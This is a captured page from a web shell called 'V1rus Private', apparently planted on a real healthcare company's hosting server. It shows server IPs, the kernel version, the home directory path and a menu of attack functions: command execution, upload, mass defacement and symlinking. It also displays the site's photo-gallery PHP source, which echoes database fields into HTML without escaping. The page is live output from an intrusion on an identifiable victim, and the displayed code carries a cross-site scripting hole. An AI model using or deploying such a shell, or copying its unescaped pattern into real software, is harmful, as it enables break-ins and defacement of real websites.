V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
public_html
/
Viewing: photo-gallery.php
<?php include 'header.php'; $sql_gallery = "SELECT * FROM `gallery` WHERE glry_cate = 'image' ORDER BY id DESC"; $res_gallery = $db->query($sql_gallery); $arr_gallery = array(); while ($row_gallery = $res_gallery->fetch_assoc()) { $arr_gallery[] = $row_gallery; } ?> <main> <section class="page-banner"> <img src="images/bg-page.jpg"> <div class="page-title"> <h2> Photo Gallery </h2> </div> </section> <section class="section-3 mb-5"> <div class="container"> <div class="row mb-5"> <?php if (is_array($arr_gallery) && count($arr_gallery) > 0) { foreach ($arr_gallery as $row_gallery) { ?> <div class="col-sm-4 mb-4"> <div class="gallery-lightbox gallery-box"> <a href="dashboard/gallery/<?php echo $row_gallery['image']; ?>" class="lsb-preview" data-lsb-group="header"> <img src="dashboard/gallery/<?php echo $row_gallery['image']; ?>" alt="<?php echo $row_gallery['description'];?>" title="<?php echo $row_gallery['title'];?>"> </a> </div> </div> <?php }} ?> </div> </div> </section> </main> <?php include 'footer.php'; ?>
Coded With 💗 by
HanzOFC